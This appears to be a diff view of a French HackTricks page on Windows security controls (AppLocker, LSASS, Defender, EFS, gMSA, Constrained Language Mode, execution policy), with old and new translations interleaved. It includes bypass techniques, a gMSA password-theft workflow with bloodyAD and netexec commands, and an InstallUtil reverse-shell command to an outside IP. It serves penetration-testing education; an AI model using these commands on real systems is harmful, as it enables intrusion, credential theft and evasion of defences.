- Les organisations se concentrent souvent sur **le blocage de l'exécutable `%System32%\WindowsPowerShell\v1.0\powershell.exe`**, mais oublient les **autres** [**PowerShell executable locations**](https://www.powershelladmin.com/wiki/PowerShell_Executables_File_System_Locations) tels que `%SystemRoot%\SysWOW64\WindowsPowerShell\v1.0\powershell.exe` ou `PowerShell_ISE.exe`.
|
||||
- **L'application stricte des DLL est très rarement activée** en raison de la charge supplémentaire que cela peut imposer au système, et de la quantité de tests nécessaires pour s'assurer que rien ne casse. Ainsi, utiliser des **DLLs comme portes dérobées aidera à contourner AppLocker**.
|
||||
- Vous pouvez utiliser [**ReflectivePick**](https://github.com/PowerShellEmpire/PowerTools/tree/master/PowerPick) ou [**SharpPick**](https://github.com/PowerShellEmpire/PowerTools/tree/master/PowerPick) pour **exécuter du code Powershell** dans n'importe quel processus et contourner AppLocker. Pour plus d'infos, consultez : [https://hunter2.gitbook.io/darthsidious/defense-evasion/bypassing-applocker-and-powershell-contstrained-language-mode](https://hunter2.gitbook.io/darthsidious/defense-evasion/bypassing-applocker-and-powershell-contstrained-language-mode).
|
||||
|
||||
## Stockage des identifiants
|
||||
|
||||
### Gestionnaire de comptes de sécurité (SAM)
|
||||
### Security Accounts Manager (SAM)
|
||||
|
||||
Les identifiants locaux sont présents dans ce fichier, les mots de passe sont hachés.
|
||||
Les identifiants locaux sont présents dans ce fichier, les mots de passe y sont hachés.
|
||||
|
||||
### Autorité de sécurité locale (LSA) - LSASS
|
||||
### Local Security Authority (LSA) - LSASS
|
||||
|
||||
Les **identifiants** (hachés) sont **enregistrés** dans la **mémoire** de ce sous-système pour des raisons de connexion unique.\
|
||||
**LSA** administre la **politique de sécurité** locale (politique de mot de passe, permissions des utilisateurs...), **l'authentification**, **les jetons d'accès**...\
|
||||
LSA sera celui qui **vérifiera** les identifiants fournis dans le fichier **SAM** (pour une connexion locale) et **communiquera** avec le **contrôleur de domaine** pour authentifier un utilisateur de domaine.
|
||||
Les **identifiants** (hachés) sont **stockés** dans la **mémoire** de ce sous-système pour des raisons d'authentification unique (Single Sign-On).\
|
||||
**LSA** gère la **politique de sécurité locale** (politique de mots de passe, permissions des utilisateurs...), **l'authentification**, **les jetons d'accès**...\
|
||||
Le LSA sera celui qui **vérifiera** les identifiants fournis dans le fichier **SAM** (pour une connexion locale) et **communicera** avec le **contrôleur de domaine** pour authentifier un utilisateur de domaine.
|
||||
|
||||
Les **identifiants** sont **enregistrés** dans le **processus LSASS** : tickets Kerberos, hachages NT et LM, mots de passe facilement déchiffrables.
|
||||
Les **identifiants** sont **stockés** dans le **processus LSASS** : tickets Kerberos, hashes NT et LM, mots de passe facilement décryptés.
|
||||
|
||||
### Secrets LSA
|
||||
### LSA secrets
|
||||
|
||||
LSA pourrait enregistrer sur disque certains identifiants :
|
||||
Le LSA peut enregistrer sur disque certains identifiants :
|
||||
|
||||
- Mot de passe du compte ordinateur de l'Active Directory (contrôleur de domaine inaccessible).
|
||||
- Mots de passe des comptes des services Windows
|
||||
- Mots de passe pour les tâches planifiées
|
||||
- Mots de passe des tâches planifiées
|
||||
- Plus (mot de passe des applications IIS...)
|
||||
|
||||
### NTDS.dit
|
||||
|
||||
C'est la base de données de l'Active Directory. Elle est uniquement présente dans les contrôleurs de domaine.
|
||||
C'est la base de données de l'Active Directory. Elle n'est présente que sur les contrôleurs de domaine.
|
||||
|
||||
## Defender
|
||||
|
||||
[**Microsoft Defender**](https://en.wikipedia.org/wiki/Microsoft_Defender) est un antivirus disponible dans Windows 10 et Windows 11, ainsi que dans les versions de Windows Server. Il **bloque** des outils de pentesting courants tels que **`WinPEAS`**. Cependant, il existe des moyens de **contourner ces protections**.
|
||||
[**Microsoft Defender**](https://en.wikipedia.org/wiki/Microsoft_Defender) est un antivirus disponible dans Windows 10 et Windows 11, et dans certaines versions de Windows Server. Il **bloque** des outils de pentesting courants tels que **`WinPEAS`**. Cependant, il existe des moyens de **contourner ces protections**.
|
||||
|
||||
### Vérification
|
||||
### Check
|
||||
|
||||
Pour vérifier le **statut** de **Defender**, vous pouvez exécuter la commande PS **`Get-MpComputerStatus`** (vérifiez la valeur de **`RealTimeProtectionEnabled`** pour savoir si elle est active) :
|
||||
Pour vérifier le **statut** de **Defender** vous pouvez exécuter le cmdlet PS **`Get-MpComputerStatus`** (vérifiez la valeur de **`RealTimeProtectionEnabled`** pour savoir si c'est actif) :
|
||||
|
||||
<pre class="language-powershell"><code class="lang-powershell">PS C:\> Get-MpComputerStatus
|
||||
|
||||
@ -92,7 +92,7 @@ NISEngineVersion : 0.0.0.0
|
||||
PSComputerName :
|
||||
</code></pre>
|
||||
|
||||
Pour l'énumérer, vous pourriez également exécuter :
|
||||
Pour l'énumérer, vous pouvez aussi exécuter :
|
||||
```bash
|
||||
WMIC /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntiVirusProduct Get displayName /Format:List
|
||||
wmic /namespace:\\root\securitycenter2 path antivirusproduct
|
||||
@ -103,52 +103,53 @@ sc query windefend
|
||||
```
|
||||
## Système de fichiers chiffré (EFS)
|
||||
|
||||
EFS sécurise les fichiers par le biais du chiffrement, utilisant une **clé symétrique** connue sous le nom de **File Encryption Key (FEK)**. Cette clé est chiffrée avec la **clé publique** de l'utilisateur et stockée dans le **flux de données alternatif** $EFS du fichier chiffré. Lorsque le déchiffrement est nécessaire, la **clé privée** correspondante du certificat numérique de l'utilisateur est utilisée pour déchiffrer le FEK à partir du flux $EFS. Plus de détails peuvent être trouvés [ici](https://en.wikipedia.org/wiki/Encrypting_File_System).
|
||||
EFS sécurise les fichiers via le chiffrement en utilisant une **clé symétrique** appelée **File Encryption Key (FEK)**. Cette clé est chiffrée avec la **clé publique** de l'utilisateur et stockée dans le flux de données alternatif $EFS du fichier chiffré. Lorsqu'une décryption est nécessaire, la **clé privée** correspondante du certificat numérique de l'utilisateur est utilisée pour déchiffrer le FEK depuis le flux $EFS. More details can be found [here](https://en.wikipedia.org/wiki/Encrypting_File_System).
|
||||
|
||||
**Scénarios de déchiffrement sans initiation de l'utilisateur** incluent :
|
||||
**Scénarios de déchiffrement sans action de l'utilisateur** incluent :
|
||||
|
||||
- Lorsque des fichiers ou des dossiers sont déplacés vers un système de fichiers non-EFS, comme [FAT32](https://en.wikipedia.org/wiki/File_Allocation_Table), ils sont automatiquement déchiffrés.
|
||||
- Lorsqu'un fichier ou dossier est déplacé vers un système de fichiers non-EFS, comme [FAT32](https://en.wikipedia.org/wiki/File_Allocation_Table), il est automatiquement déchiffré.
|
||||
- Les fichiers chiffrés envoyés sur le réseau via le protocole SMB/CIFS sont déchiffrés avant la transmission.
|
||||
|
||||
Cette méthode de chiffrement permet un **accès transparent** aux fichiers chiffrés pour le propriétaire. Cependant, changer simplement le mot de passe du propriétaire et se connecter ne permettra pas le déchiffrement.
|
||||
Cette méthode de chiffrement permet un **accès transparent** aux fichiers chiffrés pour le propriétaire. Cependant, changer simplement le mot de passe du propriétaire et se reconnecter ne permet pas de déchiffrer.
|
||||
|
||||
**Points clés** :
|
||||
Points clés :
|
||||
|
||||
- EFS utilise un FEK symétrique, chiffré avec la clé publique de l'utilisateur.
|
||||
- EFS utilise une FEK symétrique, chiffrée avec la clé publique de l'utilisateur.
|
||||
- Le déchiffrement utilise la clé privée de l'utilisateur pour accéder au FEK.
|
||||
- Le déchiffrement automatique se produit dans des conditions spécifiques, comme la copie vers FAT32 ou la transmission sur le réseau.
|
||||
- Un déchiffrement automatique se produit dans des conditions spécifiques, comme la copie vers FAT32 ou la transmission réseau.
|
||||
- Les fichiers chiffrés sont accessibles au propriétaire sans étapes supplémentaires.
|
||||
|
||||
### Vérifier les informations EFS
|
||||
### Vérifier les infos EFS
|
||||
|
||||
Vérifiez si un **utilisateur** a **utilisé** ce **service** en vérifiant si ce chemin existe : `C:\users\<username>\appdata\roaming\Microsoft\Protect`
|
||||
Vérifier si un **utilisateur** a **utilisé** ce **service** en vérifiant si ce chemin existe : `C:\users\<username>\appdata\roaming\Microsoft\Protect`
|
||||
|
||||
Vérifiez **qui** a **accès** au fichier en utilisant cipher /c \<file>\
|
||||
Vous pouvez également utiliser `cipher /e` et `cipher /d` dans un dossier pour **chiffrer** et **déchiffrer** tous les fichiers
|
||||
Vérifier **qui** a **accès** au fichier en utilisant cipher /c \<file\>
|
||||
You can also use `cipher /e` and `cipher /d` inside a folder to **encrypt** and **decrypt** all the files
|
||||
|
||||
### Déchiffrement des fichiers EFS
|
||||
|
||||
#### Être l'autorité système
|
||||
#### Obtenir le compte SYSTEM
|
||||
|
||||
Cette méthode nécessite que l'**utilisateur victime** soit **en train d'exécuter** un **processus** à l'intérieur de l'hôte. Si c'est le cas, en utilisant une session `meterpreter`, vous pouvez usurper le jeton du processus de l'utilisateur (`impersonate_token` de `incognito`). Ou vous pourriez simplement `migrer` vers le processus de l'utilisateur.
|
||||
Cette méthode requiert que l'**utilisateur victime** ait un **processus** en cours d'exécution sur l'hôte. Si c'est le cas, en utilisant une session `meterpreter` vous pouvez vous faire passer pour le token du processus de l'utilisateur (`impersonate_token` depuis `incognito`). Ou vous pouvez simplement `migrate` vers le processus de l'utilisateur.
|
||||
|
||||
#### Connaître le mot de passe de l'utilisateur
|
||||
|
||||
|
||||
{{#ref}}
|
||||
https://github.com/gentilkiwi/mimikatz/wiki/howto-~-decrypt-EFS-files
|
||||
{{#endref}}
|
||||
|
||||
## Comptes de service gérés par groupe (gMSA)
|
||||
## Group Managed Service Accounts (gMSA)
|
||||
|
||||
Microsoft a développé les **Comptes de service gérés par groupe (gMSA)** pour simplifier la gestion des comptes de service dans les infrastructures informatiques. Contrairement aux comptes de service traditionnels qui ont souvent le paramètre "**Le mot de passe n'expire jamais**" activé, les gMSA offrent une solution plus sécurisée et gérable :
|
||||
Microsoft a développé les **Group Managed Service Accounts (gMSA)** pour simplifier la gestion des comptes de service dans les infrastructures IT. Contrairement aux comptes de service traditionnels qui ont souvent l'option "**Password never expire**" activée, les gMSA offrent une solution plus sécurisée et plus facile à gérer :
|
||||
|
||||
- **Gestion automatique des mots de passe** : les gMSA utilisent un mot de passe complexe de 240 caractères qui change automatiquement selon la politique de domaine ou d'ordinateur. Ce processus est géré par le Service de distribution de clés (KDC) de Microsoft, éliminant le besoin de mises à jour manuelles des mots de passe.
|
||||
- **Sécurité renforcée** : ces comptes sont immunisés contre les verrouillages et ne peuvent pas être utilisés pour des connexions interactives, renforçant ainsi leur sécurité.
|
||||
- **Support multi-hôte** : les gMSA peuvent être partagés entre plusieurs hôtes, ce qui les rend idéaux pour les services fonctionnant sur plusieurs serveurs.
|
||||
- **Capacité de tâche planifiée** : contrairement aux comptes de service gérés, les gMSA prennent en charge l'exécution de tâches planifiées.
|
||||
- **Gestion simplifiée des SPN** : le système met automatiquement à jour le nom principal de service (SPN) lorsqu'il y a des changements dans les détails du sAMaccount de l'ordinateur ou le nom DNS, simplifiant ainsi la gestion des SPN.
|
||||
- **Gestion automatique des mots de passe** : les gMSA utilisent un mot de passe complexe de 240 caractères qui change automatiquement selon la politique de domaine ou d'ordinateur. Ce processus est géré par le Key Distribution Service (KDC) de Microsoft, éliminant le besoin de mises à jour manuelles du mot de passe.
|
||||
- **Sécurité renforcée** : ces comptes sont immunisés contre les lockouts et ne peuvent pas être utilisés pour des connexions interactives, renforçant ainsi leur sécurité.
|
||||
- **Support multi-hôte** : les gMSA peuvent être partagés entre plusieurs hôtes, ce qui les rend idéaux pour des services exécutés sur plusieurs serveurs.
|
||||
- **Possibilité pour les tâches planifiées** : contrairement aux managed service accounts, les gMSA supportent l'exécution de tâches planifiées.
|
||||
- **Gestion simplifiée des SPN** : le système met automatiquement à jour le Service Principal Name (SPN) lorsqu'il y a des changements dans les attributs sAMaccount de l'ordinateur ou le nom DNS, simplifiant la gestion des SPN.
|
||||
|
||||
Les mots de passe pour les gMSA sont stockés dans la propriété LDAP _**msDS-ManagedPassword**_ et sont automatiquement réinitialisés tous les 30 jours par les contrôleurs de domaine (DC). Ce mot de passe, un blob de données chiffrées connu sous le nom de [MSDS-MANAGEDPASSWORD_BLOB](https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-adts/a9019740-3d73-46ef-a9ae-3ea8eb86ac2e), ne peut être récupéré que par des administrateurs autorisés et les serveurs sur lesquels les gMSA sont installés, garantissant un environnement sécurisé. Pour accéder à ces informations, une connexion sécurisée telle que LDAPS est requise, ou la connexion doit être authentifiée avec 'Sealing & Secure'.
|
||||
Les mots de passe des gMSA sont stockés dans la propriété LDAP _**msDS-ManagedPassword**_ et sont automatiquement réinitialisés tous les 30 jours par les Domain Controllers (DCs). Ce mot de passe, un blob de données chiffrées connu sous le nom [MSDS-MANAGEDPASSWORD_BLOB](https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-adts/a9019740-3d73-46ef-a9ae-3ea8eb86ac2e), ne peut être récupéré que par des administrateurs autorisés et les serveurs sur lesquels les gMSA sont installés, garantissant un environnement sécurisé. Pour accéder à cette information, une connexion sécurisée telle que LDAPS est requise, ou la connexion doit être authentifiée avec 'Sealing & Secure'.
|
||||
|
||||

|
||||
|
||||
@ -156,13 +157,49 @@ Vous pouvez lire ce mot de passe avec [**GMSAPasswordReader**](https://github.co
|
||||
```
|
||||
/GMSAPasswordReader --AccountName jkohler
|
||||
```
|
||||
[**Trouvez plus d'infos dans ce post**](https://cube0x0.github.io/Relaying-for-gMSA/)
|
||||
[**Find more info in this post**](https://cube0x0.github.io/Relaying-for-gMSA/)
|
||||
|
||||
Consultez également cette [web page](https://cube0x0.github.io/Relaying-for-gMSA/) pour savoir comment effectuer un **NTLM relay attack** pour **read** le **password** de **gMSA**.
|
||||
|
||||
### Abuser du ACL chaining pour read gMSA managed password (GenericAll -> ReadGMSAPassword)
|
||||
|
||||
Dans de nombreux environnements, des utilisateurs à faibles privilèges peuvent pivoter vers les secrets gMSA sans compromettre le DC en abusant d'ACL d'objet mal configurées :
|
||||
|
||||
- Un groupe que vous pouvez contrôler (par ex., via GenericAll/GenericWrite) se voit accorder `ReadGMSAPassword` sur un gMSA.
|
||||
- En vous ajoutant à ce groupe, vous héritez du droit de read le blob `msDS-ManagedPassword` du gMSA via LDAP et d'en dériver des NTLM credentials utilisables.
|
||||
|
||||
Typical workflow:
|
||||
|
||||
1) Discover the path with BloodHound and mark your foothold principals as Owned. Look for edges like:
|
||||
- GroupA GenericAll -> GroupB; GroupB ReadGMSAPassword -> gMSA
|
||||
|
||||
2) Add yourself to the intermediate group you control (example with bloodyAD):
|
||||
```bash
|
||||
bloodyAD --host <DC.FQDN> -d <domain> -u <user> -p <pass> add groupMember <GroupWithReadGmsa> <user>
|
||||
```
|
||||
3) Lire le mot de passe gMSA géré via LDAP et en déduire le hash NTLM. NetExec automatise l'extraction de `msDS-ManagedPassword` et la conversion en NTLM :
|
||||
```bash
|
||||
# Shows PrincipalsAllowedToReadPassword and computes NTLM automatically
|
||||
netexec ldap <DC.FQDN> -u <user> -p <pass> --gmsa
|
||||
# Account: mgtsvc$ NTLM: edac7f05cded0b410232b7466ec47d6f
|
||||
```
|
||||
4) S'authentifier en tant que gMSA en utilisant le NTLM hash (aucun plaintext nécessaire). Si le compte est dans Remote Management Users, WinRM fonctionnera directement :
|
||||
```bash
|
||||
# SMB / WinRM as the gMSA using the NT hash
|
||||
netexec smb <DC.FQDN> -u 'mgtsvc$' -H <NTLM>
|
||||
netexec winrm <DC.FQDN> -u 'mgtsvc$' -H <NTLM>
|
||||
```
|
||||
Remarques:
|
||||
- Les lectures LDAP de `msDS-ManagedPassword` nécessitent un sealing (p. ex., LDAPS/sign+seal). Les outils gèrent cela automatiquement.
|
||||
- Les gMSAs se voient souvent accorder des droits locaux comme WinRM ; validez l'appartenance aux groupes (p. ex. : Remote Management Users) pour planifier lateral movement.
|
||||
- Si vous avez seulement besoin du blob pour calculer le NTLM vous-même, voir la structure MSDS-MANAGEDPASSWORD_BLOB.
|
||||
|
||||
|
||||
Aussi, consultez cette [page web](https://cube0x0.github.io/Relaying-for-gMSA/) sur comment effectuer une **attaque de relais NTLM** pour **lire** le **mot de passe** de **gMSA**.
|
||||
|
||||
## LAPS
|
||||
|
||||
La **Local Administrator Password Solution (LAPS)**, disponible en téléchargement sur [Microsoft](https://www.microsoft.com/en-us/download/details.aspx?id=46899), permet la gestion des mots de passe des administrateurs locaux. Ces mots de passe, qui sont **randomisés**, uniques et **régulièrement changés**, sont stockés de manière centralisée dans Active Directory. L'accès à ces mots de passe est restreint par des ACL aux utilisateurs autorisés. Avec des permissions suffisantes accordées, la capacité de lire les mots de passe des administrateurs locaux est fournie.
|
||||
The **Local Administrator Password Solution (LAPS)**, available for download from [Microsoft](https://www.microsoft.com/en-us/download/details.aspx?id=46899), enables the management of local Administrator passwords. These passwords, which are **randomized**, unique, and **regularly changed**, are stored centrally in Active Directory. Access to these passwords is restricted through ACLs to authorized users. With sufficient permissions granted, the ability to read local admin passwords is provided.
|
||||
|
||||
|
||||
{{#ref}}
|
||||
../active-directory-methodology/laps.md
|
||||
@ -170,22 +207,22 @@ La **Local Administrator Password Solution (LAPS)**, disponible en téléchargem
|
||||
|
||||
## PS Constrained Language Mode
|
||||
|
||||
PowerShell [**Constrained Language Mode**](https://devblogs.microsoft.com/powershell/powershell-constrained-language-mode/) **verrouille de nombreuses fonctionnalités** nécessaires pour utiliser PowerShell efficacement, telles que le blocage des objets COM, n'autorisant que les types .NET approuvés, les workflows basés sur XAML, les classes PowerShell, et plus encore.
|
||||
PowerShell [**Constrained Language Mode**](https://devblogs.microsoft.com/powershell/powershell-constrained-language-mode/) **restreint fortement de nombreuses fonctionnalités** nécessaires pour utiliser PowerShell efficacement, comme le blocage des COM objects, n'autorisant que les .NET types approuvés, les XAML-based workflows, les PowerShell classes, et plus encore.
|
||||
|
||||
### **Vérifiez**
|
||||
### **Vérifier**
|
||||
```bash
|
||||
$ExecutionContext.SessionState.LanguageMode
|
||||
#Values could be: FullLanguage or ConstrainedLanguage
|
||||
```
|
||||
### Contournement
|
||||
### Bypass
|
||||
```bash
|
||||
#Easy bypass
|
||||
Powershell -version 2
|
||||
```
|
||||
Dans les versions actuelles de Windows, ce contournement ne fonctionnera pas, mais vous pouvez utiliser [**PSByPassCLM**](https://github.com/padovah4ck/PSByPassCLM).\
|
||||
**Pour le compiler, vous devrez** **_Ajouter une Référence_** -> _Parcourir_ -> _Parcourir_ -> ajouter `C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0\31bf3856ad364e35\System.Management.Automation.dll` et **changer le projet en .Net4.5**.
|
||||
Dans les versions actuelles de Windows ce bypass ne fonctionnera pas mais vous pouvez utiliser[ **PSByPassCLM**](https://github.com/padovah4ck/PSByPassCLM).\
|
||||
**Pour le compiler, vous devrez peut-être** **pour** _**Ajouter une référence**_ -> _Parcourir_ -> _Parcourir_ -> ajouter `C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0\31bf3856ad364e35\System.Management.Automation.dll` et **changer le projet en .Net4.5**.
|
||||
|
||||
#### Contournement direct :
|
||||
#### Bypass direct:
|
||||
```bash
|
||||
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe /logfile= /LogToConsole=true /U c:\temp\psby.exe
|
||||
```
|
||||
@ -193,11 +230,11 @@ C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe /logfile= /LogTo
|
||||
```bash
|
||||
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe /logfile= /LogToConsole=true /revshell=true /rhost=10.10.13.206 /rport=443 /U c:\temp\psby.exe
|
||||
```
|
||||
Vous pouvez utiliser [**ReflectivePick**](https://github.com/PowerShellEmpire/PowerTools/tree/master/PowerPick) ou [**SharpPick**](https://github.com/PowerShellEmpire/PowerTools/tree/master/PowerPick) pour **exécuter du code Powershell** dans n'importe quel processus et contourner le mode restreint. Pour plus d'infos, consultez : [https://hunter2.gitbook.io/darthsidious/defense-evasion/bypassing-applocker-and-powershell-contstrained-language-mode](https://hunter2.gitbook.io/darthsidious/defense-evasion/bypassing-applocker-and-powershell-contstrained-language-mode).
|
||||
Vous pouvez utiliser [**ReflectivePick**](https://github.com/PowerShellEmpire/PowerTools/tree/master/PowerPick) ou [**SharpPick**](https://github.com/PowerShellEmpire/PowerTools/tree/master/PowerPick) pour **execute Powershell** code dans n'importe quel processus et bypass the constrained mode. Pour plus d'infos, consultez : [https://hunter2.gitbook.io/darthsidious/defense-evasion/bypassing-applocker-and-powershell-constrained-language-mode](https://hunter2.gitbook.io/darthsidious/defense-evasion/bypassing-applocker-and-powershell-constrained-language-mode).
|
||||
|
||||
## Politique d'exécution PS
|
||||
## PS Execution Policy
|
||||
|
||||
Par défaut, elle est définie sur **restricted.** Principales façons de contourner cette politique :
|
||||
Par défaut, il est défini sur **restricted.** Principales façons de bypass this policy:
|
||||
```bash
|
||||
1º Just copy and paste inside the interactive PS console
|
||||
2º Read en Exec
|
||||
@ -219,34 +256,40 @@ $command = "Write-Host 'My voice is my passport, verify me.'" $bytes = [System.T
|
||||
```
|
||||
More can be found [here](https://blog.netspi.com/15-ways-to-bypass-the-powershell-execution-policy/)
|
||||
|
||||
## Interface de fournisseur de support de sécurité (SSPI)
|
||||
## Interface Security Support Provider (SSPI)
|
||||
|
||||
Est l'API qui peut être utilisée pour authentifier les utilisateurs.
|
||||
C'est l'API qui peut être utilisée pour authentifier les utilisateurs.
|
||||
|
||||
Le SSPI sera chargé de trouver le protocole adéquat pour deux machines qui souhaitent communiquer. La méthode préférée pour cela est Kerberos. Ensuite, le SSPI négociera quel protocole d'authentification sera utilisé, ces protocoles d'authentification sont appelés Fournisseur de support de sécurité (SSP), sont situés à l'intérieur de chaque machine Windows sous la forme d'un DLL et les deux machines doivent prendre en charge le même pour pouvoir communiquer.
|
||||
Le SSPI sera chargé de trouver le protocole adéquat pour deux machines qui veulent communiquer. La méthode privilégiée pour cela est Kerberos. Ensuite, le SSPI négociera quel protocole d'authentification sera utilisé ; ces protocoles d'authentification sont appelés Security Support Provider (SSP), se trouvent sur chaque machine Windows sous forme de DLL et les deux machines doivent prendre en charge le même SSP pour pouvoir communiquer.
|
||||
|
||||
### Principaux SSP
|
||||
|
||||
- **Kerberos** : Le préféré
|
||||
- **Kerberos**: Le préféré
|
||||
- %windir%\Windows\System32\kerberos.dll
|
||||
- **NTLMv1** et **NTLMv2** : Raisons de compatibilité
|
||||
- **NTLMv1** et **NTLMv2**: Pour des raisons de compatibilité
|
||||
- %windir%\Windows\System32\msv1_0.dll
|
||||
- **Digest** : Serveurs web et LDAP, mot de passe sous forme de hachage MD5
|
||||
- **Digest**: Serveurs web et LDAP, mot de passe sous forme d'un hash MD5
|
||||
- %windir%\Windows\System32\Wdigest.dll
|
||||
- **Schannel** : SSL et TLS
|
||||
- **Schannel**: SSL et TLS
|
||||
- %windir%\Windows\System32\Schannel.dll
|
||||
- **Negotiate** : Il est utilisé pour négocier le protocole à utiliser (Kerberos ou NTLM étant Kerberos le par défaut)
|
||||
- **Negotiate**: Il est utilisé pour négocier le protocole à utiliser (Kerberos ou NTLM, Kerberos étant le protocole par défaut)
|
||||
- %windir%\Windows\System32\lsasrv.dll
|
||||
|
||||
#### La négociation pourrait offrir plusieurs méthodes ou seulement une.
|
||||
#### La négociation peut proposer plusieurs méthodes ou une seule.
|
||||
|
||||
## UAC - Contrôle de compte d'utilisateur
|
||||
## UAC - User Account Control
|
||||
|
||||
[Contrôle de compte d'utilisateur (UAC)](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/how-user-account-control-works) est une fonctionnalité qui permet un **message de consentement pour des activités élevées**.
|
||||
[User Account Control (UAC)](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/how-user-account-control-works) est une fonctionnalité qui affiche une **invite de consentement pour les actions nécessitant des privilèges élevés**.
|
||||
|
||||
|
||||
{{#ref}}
|
||||
uac-user-account-control.md
|
||||
{{#endref}}
|
||||
|
||||
## Références
|
||||
|
||||
- [Relaying for gMSA – cube0x0](https://cube0x0.github.io/Relaying-for-gMSA/)
|
||||
- [GMSAPasswordReader](https://github.com/rvazarkar/GMSAPasswordReader)
|
||||
- [HTB Sendai – 0xdf: gMSA via rights chaining to WinRM](https://0xdf.gitlab.io/2025/08/28/htb-sendai.html)
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
Loading…
x
Reference in New Issue
Block a user